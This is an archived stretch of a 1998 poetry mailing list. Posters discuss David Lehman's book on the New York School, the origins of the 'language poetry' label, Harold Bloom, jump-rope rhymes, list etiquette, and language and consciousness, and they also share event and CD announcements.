UK's favourite cook cracks success with eggs

LONDON, Nov 18 (Reuters) - The television chef who got a roasting last month for teaching Britons how to boil an egg has in fact cracked a recipe for success.

Egg sales have soared by 1.3 million a day since Delia Smith, Britain's best-selling cookery writer, launched her back to basics television show six weeks ago, egg producers said on Wednesday.

Smith, who a few years ago turned cranberries from an exotic fruit into an everyday staple in British supermarkets, was initially attacked by some of her celebrity cook rivals for insulting the intelligence of viewers with her detailed instructions on making toast, boiling eggs and cooking omelettes.

But the 10 percent increase in egg sales suggests she is more in touch with the nation's notoriously bad cooks than more adventurous television chefs.

``Whatever Delia turns her hands to become immensely popular, and we're delighted she chose eggs,'' said Garham Muir, marketing manager at Stonegate Farmers.

A recent opinion poll highlighted the limitations of Britons in the kitchen. Of those who said they cook, 36 percent listed making sandwiches as their main cookery skills, and 31 percent cited toast.
^REUTERS@

↑ Index

527. **David Zauhar**
Re: . . . & writing (un)like Ron (Lehman's Last Avant G.)
Wed 18 Nov 1998

On Tue, 17 Nov 1998, Susan Schultz wrote:

> Would David Zauhar or other listees care to comment further on the new Lehman
> book--its "problematics," especially?
> Just curious, as I haven't yet read the thing.
>
> Susan Schultz
>

J. Mayhew has a pretty good sense of what's wrong with it. For me, the biggest fault is its "Great Man" approach to literary history (gender specificity sadly accurate). It wouldn't have killed DL to include a chapter of Guest, for instance, and I would have liked to have seen more on the second generation (though given his narrative, he would have oversimplified that one, too, treating the boys from Tulsa as the central figures and ignoring Waldman, Mayer, etc).

It wouldn't have killed him to do this, BUT it would have killed his narrative, and that to me is a bigger problem. He has these poets whose work stepped outside the bounds of established convention, but he treats them the same way he would if he were writing a book on, say, the Fugitives. He can't write about Guest, for instance, because that would wreck the nice conceit he devolops about the 4 "major" NYP's. As Lehman writes, "Writing about this quartet of poets, one is struck by how often a useful generalization fits three of the four principals, with O'Hara the one constant in all" (41). Thus, three of them went to Harvard (Schuyler went to Bethany of West Virginia); three of them were in the navy (Koch in the army), three were gay (not Koch, again) & so forth. If Guest, Denby, etc., were included, there goes that nice little trope.

That said, like Kent Johnson, I don't mind the breezy journalistic style. I have lower standards for books I'm reading on the el going to and coming from work, and at night as I fall asleep. It's not up to the standards of one of the books he compares his efforts to: Shattuck's _The Banquet Years_, but hey, I got it from a library. Not like I paid $27.50 for it. And these are all factors that influence my assessment of a book every bit as much as general notions of "quality."

Dave Zauhar

↑ Index

528. **Charles Bernstein**
(no subject)
Wed 18 Nov 1998

---

free poetics

↑ Index

529. **Mark Weiss**
Re: Sylvester's jump rope influence
Wed 18 Nov 1998

I remember it as "A my name is Alice and I come from..." all the way to Zelda, I guess, but none of the little girls on my block ever got that far. The version Mike reports was unknown in Flatbush in the 40s and 50s. There are, by the way, folklore collections of these things and other children's games, done in the US and UK. Wish I could remember more details, but shouldn't be hard to track down. They seem to transcend ethnicity, although there are thousands of local and ethnic variants. I watched little Guatemalan kids in Antigua learning some really complex rope games from Japanese women who had come to study Spanish. I'd guess that the Japanese rhymes suffered some adjustments in Cakchikel. (I assume without knowing that the jump-rope arrived in Japan with the US occupation.) These things have legs. Somewhere in my library is a book of Eskimo cats-cradle patterns.

At 07:18 AM 11/18/98 -0500, you wrote:
>According to Sylvester Pollet:
>>
>> Mike, very sorry on name, only the m showed on reply form, I guess. I'm
>> glad to read that part of the interview. That's the stuff I was alluding
>> to, & I always loved the sound of it & the wacky invention. The one I'm
>> thinking of has the alliterative tradition mixed in, Can't get the words
>> right, but the one that goes something like "My name is Barbara and I come
>> from Brooklyn and my boyfriend's name is Brian and we eat baloney."
That's
>> embarassingly rough, but my wife, who jumped them in NYC, isn't here at
the
>> moment. By all means, keep on jumping! And who cares about dominators?
Who
>> believes that? Maybe the Acad. of Amer. Bigshots. Sylvester
>> >
>>
>
>Sylvester, if I'm hearing it right, this is the jump rope game where,
>after doing the "my name is..." section there's a call & response which
>goes like this:
>
>"Mm, she thinks she's bad..."
>

>"Correction, baby, I *know* I'm bad..."
>
>"Mm, she thinks she's bad..."
>
>etc. really great rhythmicly. -m.
>
>

↑ Index

530. **Mark Weiss**
Re: Alerity of Outfluence
Wed 18 Nov 1998

Yeah, I always assumed that Bloom's silly extension of Freud was a reflection of the tenure system, in which the rise of the young is entirely conditional on their acceptance by the old and the old have to kick off or be kicked off for the younger to reach the top. It never occurred to me that WCW similarly stood in my way.

Yet Another Mark

At 09:44 AM 11/18/98 -0500, you wrote:
>The violence of Kent's imagery and words here is fascinating. Very good
>example of how *perturbed* people on the this list are, by *THAT group*!!
>
>As he himself says, in a post just previous, there is something here that
>people are havin' a problem working thru....a weird and
>defensive/aggressive ressentiment. Honestly, except for some fine early
>appreciations of Blake and other romantix, i've always thought H. Bloom
>was a silly kook. As i watch people trying to come to terms with their
>anxieties regarding *that group*, though, i begin to wonder. Oddly
>however there are many fine poets (young, enfeebled, whatever) who just
>get on with their work, and aren't concerned with needing to exaggeratedly
>dis or dismiss the L'sters. So i guess we aren't living in a bloomian
>universe after all. Whew! that's a relief!
>
>--just another mark
>
>
>On Tue, 17 Nov 1998, KENT JOHNSON wrote:
>
>> Speaking of the "Language School," Lehman writes:
>>

>> "It is academic not only in the practical sense that its
>> practitioners hold teaching appointments but equally because the
>> noble experiment on language turns out soemtimes to resemble an
>> autopsy performed on a cadaver." (The Last Avant-Garde, p.370)
>>
>> Now, the "autopsy performed on a cadaver" phrase may indeed be
>> unintentionally redundant as David B. says; on the other hand, one
>> might regard Lehman's sentence as being inhabited by a sly conceit:
>> that the autopsy is not performed on the "cadaver/poem" but on the
>> dead and more encompassing body of the "Language School." itself. In
>> other words, an _auto-autopsy_, which seems to me even more
>> fetching than "an autopsy on a living tiger."
>>
>> For our own purposes, as we gather today and circle, as is our
>> habit, around the Tower of Babel of List, we might extend the
>> conceit in the following way: The scent of the cadaver of Language
>> poetry has infested and drugged the minds of young post-Language
>> poets and turned them, oddly, into the scalpels, hemostats and
>> tweezers which the cadaver of Language deploys (in a hideous act of
>> dissection) upon its own rotting corpse.
>>
>> And that's a Lunch Poem.
>>
>> Kent
>>
>
>

↑ Index

531. **Mark Weiss**

Re: Fuming & writing like Ron (Deviant Extensions)

Wed 18 Nov 1998

Not entirely true. I was being taught by post-structuralist types by 1964.

At 09:22 AM 11/18/98 -0500, you wrote:
>Influences. It doesn't help to be too self-concious about them. Read
>what you like, write how you want to. I'm sure Mr. Silliman would agree
>with that. After all, that's what he did. What differs is that he and
>Mr. Bernstein and others also wrote about what they read, not from the
>PoV of how it influences them, but as readers appreciating Ms. Stein,
>Mr. Coolidge, etc. They didn't write like critics, but a group of
>critics has sprung up who write the way they did. The people who

>contributed to that magazine were doing what they wanted to do. I guess
>that's the real coup.
>
>Pete Landers
>
>BTW, I'll have to sign off the list for a week, then I'll be back once I
>have my email set up in the new location, Portland OR. Anyone who needs
>to contact me, this addy is good for only a few more days.
>
>

↑ Index

532. **MAYHEW**
Re: Alerity of Outfluence
Wed 18 Nov 1998

I've always liked David Antin's hilarious commentary on H. Bloom's theory. Mark W's guess as to the likely source of his theory--the tenure system--is a brilliant hunch. It explains why academics have been so enamored of Bloom's anxiety of influence.

Jonathan

↑ Index

533. **A. Jenn Sondheim**
Re: your mail
Wed 18 Nov 1998

I would have paid...

On Wed, 18 Nov 1998, Charles Bernstein wrote:

> *free poetics*

↑ Index

534. **Mark Weiss**
Re: A Fable for Our Time
Wed 18 Nov 1998

And here I thought it was an advertizing gimmick.

At 10:04 AM 11/18/98 -0500, you wrote:
>On Tue, 17 Nov 1998, Leonard Brink wrote:
>

>> I don't think anyone's going to volunteer to be labeled a "language poet"
>> if that's going to be equated with necrophilia of some kind.
>> But if you accept the autopsy that the significant contribution of
>> Language Poetry (and maybe Surrealism for that matter) is that language
>> becomes more of a primary than a secondary consideration in poetry as a
>> result of it, then it continues to have a tremendous, if sometimes
>> indirect, influence.
>>
>
>Girls and boyz,
>
>Once upon a time there was a group. And a nice little group it was too.
>They disliked the war in vietnam and US imperialism and sexism and other
>such things. They used to get together and read Stein and Zukofsky, all
>dressed up in black in cheap urban lofts (or so the story goes). One day
>one of this nice group said, We should have a name! to show that we are
>not hung up on abstract brougeois notions of individualism..And another
>jumped up and clapped his hands and said, i'll make the costumes! And so
>it was: this nice group now had a name. They even published a sort-of
>manifesto in Social Text and no one claimed that they didn't mean it and
>were only mocking the empty rhetoric of postmodernism....
>
>Well, despite or because or in absolutely no relation to the fact that
>they were a group, and had A Name, many of these poets wrote very fine
>poems (and various other things, not always entirely distinguishable from
>poems). And after 15 years or so they no longer got together quite so
>often, and much of what they had done had had real impact on writing and
>reading and talking in the world. And so they really weren't a group any
>longer but a loose network of friends and comrades.
>
>The group had ceased to be a group and had become A Label.
>
>Few people want to label themselves: not many of us wd. think it natural
>to encounter a poet who said, hi! i'm a romantic (or surrealist, or
>dadaist, or augustan). So as these post-groupites got on with their work,
>people who didn't like interesting and challenging form took up The Label,
>and began to use it quite extensively, to deride anyone who was not as
>conservative as they.
>
>And so it was that The Name, now the Label, ceased to be very useful.
>(For one thing the people who used it seldom **read** the work of these
>poets very much)

>
>And everyone lived happily ever after (wonder what happened to those
>costumes???!!)
>
>
>Uncle Mark
>
>

↑ Index

535. **Mark Weiss**
jump rope
Wed 18 Nov 1998

With the help of Amazon I've refreshed my memory. They list 30-odd titles each under the categories "jump rope rhymes" and "children folklore." I particularly remember _The Lore and Language of Children," by Iona and Peter Opie, out of print but I think readily available, as pioneer work in the field.

↑ Index

536. **George Thompson**
(no subject)
Wed 18 Nov 1998

> *free poetics*

where?

↑ Index

537. **Ramez Qureshi**
No Subject
Wed 18 Nov 1998

---

free poetics
how?

↑ Index

538. **Eliza McGrand**
Re: Listen, Kent
Wed 18 Nov 1998

---

dear mairead

really, don't you know, the HOT group is the group whose initials (as i have pointed out berfore on this list) are "DB" -- think about it...

david baratier
daniel bouchard
david bromige
doug barbour
dodie bellamy
...

need i go on? are we all so naive that we actually BELIEVE any of these "DB"'s exist? i mean, come on. they are all a multiple projection from one single personality...

DREW BARRYMORE!

come out drew, you don't have to hide anymore: all is forgiven and no one wants those silver place settings or oriental rugs back anymore... you can have them and welcome to them, we just miss you.

e
ps
ignore what bowering said about your bra; he is a swine as rachel and
i can attest.
and maria.

↑ Index

539. **Ron Silliman**
Uncle Mark's Fables (the L word)
Wed 18 Nov 1998

It was the issue of Poetry Flash in '79 that first used the term "language poets," in articles by Steve Abbott and Alan Soldofsky. Soldofsky clearly wanted some sort of term so that he could peg the group and then dismiss it. He associated it with narcissism using Christopher Lasch as his authority on the subject. Steve, in contrast, was just looking for something to hang a special issue around. But what everybody remembered was Soldofsky's attack, and so the L word was born in the first act of language bashing.

This parallels the formation of other group names that were imposed from the outside: Herb Caen's coinage of "beatnik," the use of the term "fauvists," etc. Even the Objectivists have cringed at a term given to them by Zukofsky, which does (after all) carry with it a suggested approach to the text.

The so-called LPs had been doing various work in various ways for many years perfectly content not to have a name or anything that would reify something

that was far more transitory and experiential. Grenier's "On Speech" was 9 years old at the time; talks had been going in SF for 3 years; the Grand Piano series for four; Tottel's 9 years. When the L word was brought it, everybody immediately disowned it. That got to the point that an old roommate of mine, Tinker Greene, used to joke that the first sign of a language poet was denial that they were in fact a language poet. But that denial was in fact a sign of a larger (or deeper -- pick your spatial metaphor) discomfort. You can't ask a really stupid question like "how is Rae Armantrout a language poet?" unless you already have a whole set of preconceptions in mind that tells you (always already) how to read LP. That Rae's work, or Bromige's, or whomever would somehow seem problematic really tells you about the problem of the category, not the work at hand. Everybody was reading Rae's work with passion, everybody was reading David's work with passion, nobody was worrying about borders.

The collective essay for Social Text came several years later (1982 to be exact) after a series of articles (including some by Mr. Clark and Mr. Codrescu) in the SF Chronicle, Partisan Review, New Criterion etc had made a concerted and sustained effort to attack the idea of community in poetry and the concept that poets might talk and write about their work in any other than a purely joking fashion. If anything, the language bashers served as a very effective (if unpleasant) PR firm, but they never had any interest in historical accuracy (that wasn't the point they were trying to make) and the legacy of their term "sticking" is worth thinking about.

These problems of categories really do get in the way of the reading. The Spicer Circle, Black Mountain (including a writer like Levertov who never set foot on campus so far as I can tell), the beats, the NY School (including of course folks like Tom C who have spent precious little time in that city), the SF Renaissance, etc etc etc. How do you read a Joanne Kyger who was a student of Hugh Kenner's,. married to Snyder, a deep friend of John Weiners, the only woman in the Spicer circle, the archtypal Bolinas poet, a deep influence on Bob Grenier and several of the Naropa poets? The same way you read a language poet: one word at a time.

Ron

On Tue, 17 Nov 1998, Leonard Brink wrote:

> *I don't think anyone's going to volunteer to be labeled a "language poet"*
> *if that's going to be equated with necrophilia of some kind.*
> *But if you accept the autopsy that the significant contribution of*
> *Language Poetry (and maybe Surrealism for that matter) is that language*
> *becomes more of a primary than a secondary consideration in poetry as a*
> *result of it, then it continues to have a tremendous, if sometimes*

> *indirect, influence.*

Girls and boyz,

Once upon a time there was a group. And a nice little group it was too. They disliked the war in vietnam and US imperialism and sexism and other such things. They used to get together and read Stein and Zukofsky, all dressed up in black in cheap urban lofts (or so the story goes). One day one of this nice group said, We should have a name! to show that we are not hung up on abstract brougeois notions of individualism..And another jumped up and clapped his hands and said, i'll make the costumes! And so it was: this nice group now had a name. They even published a sort-of manifesto in Social Text and no one claimed that they didn't mean it and were only mocking the empty rhetoric of postmodernism....

Well, despite or because or in absolutely no relation to the fact that they were a group, and had A Name, many of these poets wrote very fine poems (and various other things, not always entirely distinguishable from poems). And after 15 years or so they no longer got together quite so often, and much of what they had done had had real impact on writing and reading and talking in the world. And so they really weren't a group any longer but a loose network of friends and comrades.

The group had ceased to be a group and had become A Label.

Few people want to label themselves: not many of us wd. think it natural to encounter a poet who said, hi! i'm a romantic (or surrealist, or dadaist, or augustan). So as these post-groupites got on with their work, people who didn't like interesting and challenging form took up The Label, and began to use it quite extensively, to deride anyone who was not as conservative as they.

And so it was that The Name, now the Label, ceased to be very useful. (For one thing the people who used it seldom **read** the work of these poets very much)

And everyone lived happily ever after (wonder what happened to those costumes???!!)

Uncle Mark

↑ Index

540. **Maria Damon**
Re: Listen, Kent
Wed 18 Nov 1998

---

it does my heart good to see the younger generation taking off from where some of us seem to have left off. not to mention *what* some of us have left off; last time i saw bromige, he was bra-less in kimmage. swoon or swine, what do you think.

At 8:52 PM -0500 11/18/98, Eliza McGrand wrote:
>dear mairead
>
>really, don't you know, the HOT group is the group whose initials (as i
>have pointed out berfore on this list) are "DB" -- think about it...
>
>david baratier
>daniel bouchard
>david bromige
>doug barbour
>dodie bellamy
>...
>
>need i go on? are we all so naive that we actually BELIEVE any of these
>"DB"'s exist? i mean, come on. they are all a multiple projection from
>one single personality...
>
>DREW BARRYMORE!
>
>come out drew, you don't have to hide anymore: all is forgiven and no one
>wants those silver place settings or oriental rugs back anymore... you
>can have them and welcome to them, we just miss you.
>
>e
>ps
>ignore what bowering said about your bra; he is a swine as rachel and
>i can attest.
>and maria.

↑ Index

541. A. Jenn Sondheim
error?
Thu 19 Nov 1998

Hi - I may have sent out the wrong address for subbing to fop-l - it's [redacted] saying subscribe fop-l firstname lastname in the text.

Thanks, Alan

↑ Index

542. Herb Levy
Clamourous Alphabet, Martin Bartlett CD Launch, & other shameless promotion
Thu 19 Nov 1998

Three things:

I'm just now listening to the preliminary CD for <the Clamourous Alphabet>, a collaboration between Vancouver poet Catriona Strang & clarinetist/composer Francois Houle. Some of you have heard them do some of these pieces in various poetical contexts, including at the Robin Blaser conference in Vancouver a few years back. The disc is really good. If design & production are completed on schedule, the disc released by late January & I'll certaily announce the release here.

This Saturday, 21 November at 7:30 pm at the Western Front, I'll be in Vancouver BC, for a CD launch for a recent release of interactive computer music by the Canadian composer Martin Bartlett, about whom David Bromige has reminisced about on this very list. Please stop by & say hi if you're in the area, there'll be free food & drink. (There's a charge for the concert following, though.)

I've also just sent out a flyer on the year-end Periplum CD deal & listening to the Strang/Houle disc reminded me that poetics list people have been interested in the music previously, so below is a quick list of what's available.

+ Suspended Music - new music by Pauline Oliveros & Ellen Fullman performed in concert by the collaborative forces of Deep Listening Band & Fullman's Long String Instrument (100 feet long).

+ Burning Water - interactive computer music by the late Vancouver composer Martin Bartlett, with performances by Peter Hannan - alto recorder, George E Lewis - trombone, & Frances-Marie Uitti - cello.

+ Catacombs of Yucatan - music for unique hand-made electro-acoustic instruments (shmoos harp, pendulyre, too flutter, fayfer harp & more), includes a

half-hour Horspiel/radio work built around oral histories concerning a Minnesota dance hall during the Depression.

+ Archipelago - Ambient/improv band with Jeff Greinke, Lesli Dalaba, Dennis Rea, and several percussionists. As close to a pop genre as the label's likely to get.

Through the end of 1998 CDs are US$14 including postage for one disc, or any three discs are US$35 including postage. Checks to Periplum, P O Box 95678, Seattle WA 98145. Back channel any questions, etc.

Bests,

Herb

Herb Levy
[redacted]

↑ Index

543. **Susan Schultz**
Re: cd offer from H=A=W=A=I=`=I
Thu 19 Nov 1998

I'll be proclaiming the arrival of TINFISH 7 very soon, with work from the USA, Australia, and New Zealand, but for now I'd like to announce the arrival of a spoken word cd from Hawai`i, Joe Balaz's _Electric Laulau_. Balaz performs pidgin poems, often with a musical background (including some do- wop), addressing issues of money, land, development, and language (including "Da History of Pigeon"). It's a very fine piece of work. You can find a sample at http://joebalaz.iuma.com. The cd's sell for $15 in the stores, but you can purchase them for $10 from Paul Lyons (his email is [redacted]). Lyons will be reviewing the cd for TINFISH 8, but for now he writes that it "is essential listening for anyone interested in the current eruption of the literary arts in Hawai`i. Served up on its own eclectic, irreverent terms, the pieces come at you from wacky angles, with layers of parody, inside mimicries of local, academic, and colonial thought, and provocations that work on the gut."

Susan Schultz

↑ Index

544. **Stephen Cope**
Re: another Mayer Question
Thu 19 Nov 1998

Peter Baker has a brief chapter on Mayer in his book _Obdurate Brilliance_ that is definitely worth checking out. There's numerous reviews around also, but I

don't have a list of them handy. Perhaps look into older volumes of the Poetry Project Newsletter?

Stephen

> *!*
>
> *does anyone know of any articles on / reviews of Mayer that they can point me to?*
>
> *thanks*
>
> *backchannel*

↑ Index

545. **Stephen Cope**
Re: another Mayer Question
Thu 19 Nov 1998

I might also mention that, at the Page Mothers Conference here (UCSD) in March, I will be on a panel with Peter Gizzi, Juliana Spahr, Lee Ann Brown, and Leslie Scalapino dedicated to Mayer's work (her papers, which are astounding, have been recently acquired by the Archive for New Poetry).

And, while I'm at it: I'm looking into proposing, for the conference at Barnard, a panel on contemporary epistolarity (some of my own work centering around Mayer's _The Desires of Mothers to Please Others in Letters_). If anyone is interested, or knows interested parties etc, do backchannel. The work need not be around epistolary novels or such, but could deal with phenemenon of the letter in literary discourse in general, or the letter-poem, etc.

Let me know,

Best,

Stephen

↑ Index

546. **George Bowering**
Re: and the winners are---
Thu 19 Nov 1998

> *My own list of great recent "arrivals" would include Elizabeth Robinson's _Other Veins, Absent Roots_ and Hoa Nguyen's _Dark_.*

Have you seen Ondaatje's _Handwriting_?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

547. **Roger Day**
Re: f.y.i.
Thu 19 Nov 1998

I really have to object to this stereotypification...

At 18/11/98 21:54:43, joel lewis <[redacted]> wrote: # UK's favourite cook cracks success with eggs # # # LONDON, Nov 18 (Reuters) - The television chef who got a # roasting last month for teaching Britons how to boil an egg has # in fact cracked a recipe for success. # Egg sales have soared by 1.3 million a day since Delia # Smith, Britain's best-selling cookery writer, launched her back # to basics television show six weeks ago, egg producers said on # Wednesday. # Smith, who a few years ago turned cranberries from an exotic # fruit into an everyday staple in British supermarkets, was # initially attacked by some of her celebrity cook rivals for # insulting the intelligence of viewers with her detailed # instructions on making toast, boiling eggs and cooking # omelettes. # But the 10 percent increase in egg sales suggests she is # more in touch with the nation's notoriously bad cooks than more # adventurous television chefs. # ``Whatever Delia turns her hands to become immensely # popular, and we're delighted she chose eggs,'' said Garham Muir, # marketing manager at Stonegate Farmers. # A recent opinion poll highlighted the limitations of Britons # in the kitchen. Of those who said they cook, 36 percent listed # making sandwiches as their main cookery skills, and 31 percent # cited toast. # ^REUTERS@

I like St Delia, but haven't they heard of Mars Bars? Or Spam?

Spam, spam, spam....

Roger

↑ Index

548. Jim Andrews
Enigma n
Thu 19 Nov 1998

Enigma n awaits you. A poetry toy, experiment in the poetry of motion, anagrammatic enigmatron.

http://speakeasy.org/~jandrews/vispo/meaning.html or
http://www.islandnet.com/~jandrews/mocambo/meaning.html

Ted Warnell commented on the piece at Zine n,
http://www.logicnet.com/ted.warnell/zinen/index.htm in a piece featuring great new
work by Komninos Zervos (Australia) and Reiner Strasser (Germany).

Enigma n requires a 4.0 browser; it's in dynamic html.

Regards,
Jim Andrews

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549. david bromige
free poetics
Thu 19 Nov 1998

---

free for all

↑ Index

550. L. MacMahon and T.R. Healy
Re: a couple of points/lehman contest
Thu 19 Nov 1998

> david bromige wrote:
> >
> > "an autopsy," mind you, "performed _on a cadaver_" [emphasis supplied]. Let
> > us hope all of Lehman's book is not similarly plagued with rendundancy. "An
> > autopsy performed on a living monad" would be a slightly more intriguing
> > piece of language. "An autopsy performed on a living tiger" : even better.
> > Can we have a contest to see who comes up with the liveliest
> > formulation--keep the first 3 words, vary the rest?
> >

an autopsy performed ex cathedra

↑ Index

551. **david bromige**
Martin Bartlett
Thu 19 Nov 1998

When I reminisced about him, did I mention the terrific coincidence that there can be found, in the novel Matthews and I wrote with The Bowerings, _Piccolo Mondo_ , a character named Barton Martlett. (This book in online in its entirety if you go to : Coach House Books.) This character is, sadly, only a spear-carrier, in the little world of our book. I believe he walks on in chap 6, then in chap 25, but where in between? He should have been developed. But we had already been seven years at it.

Martin Bartlett was a one-off self-creation of unremitting charm, energy, impulse, verbal--& enunciatory--skills (how his voice could boom) and great prescience in matters musical. We once broke into a church together so that he might play the organ. He expected to be arrested. Later, he got into Mills, then later again, he got into a Vancouver non-profit (I _think_), The Western Front, helping to run its many (mostly or all in the arts) activities and projects. And became the musical equivalent of a L=A=N poet. If you know what that means...and disagree, say so, please. I can't speak of his composition and performances nearly as well as--if he'll do it--Herb Levy.

I guess the Poetix-posting-justification is "Upper Limit, Song" as Zukofsky said.

I look fwd to listening to the CD Herb Levy tells us about.

David

↑ Index

552. **Eliza McGrand**
Re: f.y.i.
Thu 19 Nov 1998

---

they HAVE heard of spam -- that's just the point!

e
ps
they have also heard of blood pudding, steak and kidney pie, grilled kidneys, kippers, sardines on toast, the english method of eating toast (cold),
etc.

psps there is a passage in, i believe, a p.d. james novel describing the "fry up" of an english family -- little rat footprints sunk deep into the grease in the pan about to be used to fry...

↑ Index

553. **Henry Gould**
free poetics
Thu 19 Nov 1998

The oracular "free poetics" can be interpreted in a lot of ways. I would take it as a call to the POETICS LIST - to free itself up for more direct dialogue on poetics issues per se. How? Less "personality", less grandstanding, less personal squabbling, less off-the-cuff "creative writing". I'm not referring to the Sondheim productions or other poems sent occasionally to the list - this is fine with me. Here's my recipe for a freed-up list:

1. Dialogue. By dialogue I mean the responders to an initial post would have the courtesy to hold back their tangential comments until people have responded to the main points of a post. It's the snide jabs or nit-picky irrelevancies that "deconstruct" a discussion. Not that messages are not fertile with OTHER issues - I'm just saying we should hold fire until a voice is responded to directly, in kind, to the question.

2. Publication announcements, event announcements, calls for submissions etc.

3. Queries, poet contacts, etc.

I'm in the ambiguous spot of being one of the big offenders in this area - one of the select few of constant babblers who clog up the list - but I have also participated for a long time in my erratic way in the more regular activities. I'm personally bored myself with the same old voices & tricks that keep poetics from being "free", & would be glad to hear MORE voices on more EXTENDED & focused talk about poetry. Believe me, I would shut up for this.

I realize I will now be hit on as a humorless hypocrite & people will pipe up to say that jokes & free-for-all are what makes the list interesting, okay. But if it's ALL jokes & antics & irrelevancies & ego-trips of people that would rather interrupt an attempt at discussion with their own agendas, maybe there needs to be a sub-poetics humor list, for those who would rather focus on that kind of interplay. I will not be joining that list. Not today anyway - maybe tomorrow. - Henry Gould

p.s. sometimes satire is the best & most interesting way to respond - to puncture a tire, etc. But it's also a cheap shot.

p.p.s. I like the nice short FUNNY posts. They are a great addition to the list. What I don't like is extended irrelevant grandstanding (I know, I know). & grudging non-apologies.

p.p.p.s. nor I'm I saying this should be a hyper-smartass show-off-your-brain show-off-your-connections list. But how many "beginners" would want to write to a list that seems balanced between insider snobbery, sour attacks, and off the wall extended soliloquies? Joel K. is right - let there be "community".

↑ Index

554. Peter Ganick
poetry & consciousness
Thu 19 Nov 1998

---

on a new tack from some of the recent discussion
on this list, i'd like to bring up a topic that,
as someone interested in language-centered poetry
since i started writing in 1972, and publishing
potes & poets press in 1981, has been of prime concern
to me. it is the relationship of language and consciousness.

one of the main positive revolutions of l-poetry,
revealed under a close reading of some of the
important texts of writers in the initial stages of
l-poetry's development, is the unusual use of
grammatical structures. but we all know that in some
sense. look at the work of bruce andrews or the early
work of lyn hejinian, barrett watten, charles bernstein
and others.

what interests me is that these structures ultimately
have resonance in consciousness, and have the power to
change consciousness. that language and consciousness
are related is something many philosophers write about,
and we all know how a well-written novel with an exciting
plot can 'grip' the reader what i'm saying is that
l-poetry gives an entirely new and still-to-this-day
unprecedented take on this subject.

i get the poetics list in digest form, so may be slow
in responding, however would be interested in any
discussion of this issue.

peter ganick
potes & poets / a.bacus

↑ Index

555. **Michael Magee**
Re: poetry & consciousness
Thu 19 Nov 1998

I would agree with Peter's assertion that the poets he names - Andrews, Hejinian, Watten, Bernstein - have a deep concern w/ "the relationship of language and consciousness" and that they scxrutinize the way that *grammar* specifically informs that consciousness; but I would have to, respectfully, disagree with the statement that,

"l-poetry gives an entirely new and still-to-this-day
 unprecedented take on this subject."

l-poetry's take on the subject is new insofar as it is, in the 70's, expressing the point via a new set of socially specific terms peculiar to the 70's, perhaps. But from the perspective of intellectual history, it's not their invention. There's of course the French theoretical tradition they're drawing on - but, more important to me personally, they get it through Stein who get's it from William James. James of course is completely preoccupied with the issue of "consciousness" ("stream of consciousness" being his term) and he talks about the relation of grammar to consciousness in terms which people familiar with Lang Po will find readily familiar:

"certain kinds of verbal associate, certain grammatical expectations fulfilled, stand for a good part of our impression that a sentence has a meaning and is dominated by the Unity of One Thought. Nonsense in grammatical form sounds half-rational; sense with grammatical sequence upset sounds nonsensical; e.g., 'Elba the Napolean English faith had banished broken to he Saint because Helena at.'"

James suggests the creative possibilities of this connection between grammar and consciousness in saying,

"any collocation of words may make sense...if only one does not doubt their belonging together...The 'meaning' of a word taken thus dynamically in a sentence may be quite different from its meaning when taken statically or without context."

and the much quoted,

"We ought to say a feeling of *and*, a feeling of *if*, a feeling of *but*, and a feeling of *by*, quite as readily as we say a feeling of *blue* or a feeling of *cold*. Yet we do not: so inveterate has our habit become of recognizing the existence of the substantive parts alone, that language almost refuses to lend itself to any other use."

This is 1890. And I think it's very much in the neighborhood of Lang Po's central assertions. -m.

According
to Peter Ganick: > > on a new tack from some of the recent discussion
> on this list, i'd like to bring up a topic that,
> as someone interested in language-centered poetry
> since i started writing in 1972, and publishing
> potes & poets press in 1981, has been of prime concern
> to me. it is the relationship of language and consciousness.
>
> one of the main positive revolutions of l-poetry,
> revealed under a close reading of some of the
> important texts of writers in the initial stages of
> l-poetry's development, is the unusual use of
> grammatical structures. but we all know that in some
> sense. look at the work of bruce andrews or the early
> work of lyn hejinian, barrett watten, charles bernstein
> and others.
>
> what interests me is that these structures ultimately
> have resonance in consciousness, and have the power to
> change consciousness. that language and consciousness
> are related is something many philosophers write about,
> and we all know how a well-written novel with an exciting
> plot can 'grip' the reader what i'm saying is that
> l-poetry gives an entirely new and still-to-this-day
> unprecedented take on this subject.
>
> i get the poetics list in digest form, so may be slow
> in responding, however would be interested in any
> discussion of this issue.
>
> peter ganick
> potes & poets / a.bacus
>

↑ Index

556. **Sylvester Pollet**
(no subject)
Thu 19 Nov 1998

At 7:11 PM -0500 11/18/98, Charles Bernstein wrote:
>free poetics

Free all prisoners of metrics!

↑ Index

557. **Pierre Joris**
Re: f.y.i.
Thu 19 Nov 1998

Eliza McGrand wrote:

> *they HAVE heard of spam -- that's just the point!*
>
> *e*
> *ps*
> *they have also heard of blood pudding, steak and kidney pie, grilled kidneys,*
> *kippers, sardines on toast, the english method of eating toast (cold),*
> *etc.*
>
> *psps*
> *there is a passage in, i believe, a p.d. james novel describing the "fry up"*
> *of an english family -- little rat footprints sunk deep into the grease*
> *in the pan about to be used to fry...*

Jonathan Williams has some lovely works dealing with a few other Britfood favorites such as Dead Baby, Spotted Dick, Toad in the Hole...

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Through the living the road of the dead
— Ungaretti
==========

↑ Index

558. **MAYHEW**
Re: free poetics
Thu 19 Nov 1998

I too like short funny posts, Henry. As for not responding to tangential points till everyone has responded to the main point, this implies that we know the difference. Sometimes the tangential point is more important to respond to than what the poster wanted to have as his/her main point.

Jonathan "Mark" Mayhew

↑ Index

559. **Henry**
Re: free poetics
Thu 19 Nov 1998

On Thu, 19 Nov 1998 08:42:39 -0600 MAYHEW said:
>I too like short funny posts, Henry. As for not responding to tangential
>points till everyone has responded to the main point, this implies that we
>know the difference. Sometimes the tangential point is more important to
>respond to than what the poster wanted to have as his/her main point.
>
You're right; obviously this is not an exact science. But often, OFTEN, somebody will raise some interesting issues - for the purpose of discussing those issue, hopefully - & be immediately ambushed by the quick-responders & carried off to THEIR territory. - HG

↑ Index

560. **shana**
Re: a couple of points/lehman contest
Thu 19 Nov 1998

On Thu, 19 Nov 1998, L. MacMahon and T.R. Healy wrote:

> *Can we have a contest to see who comes up with the liveliest formulation--keep the first 3 words, vary the rest?*
>
> *an autopsy performed ex cathedra*

coming into all this at the 9th inning...

an autopsy performed on an exhumed candelabra

shana

↑ Index

561. daniel bouchard
boston reading
Thu 19 Nov 1998

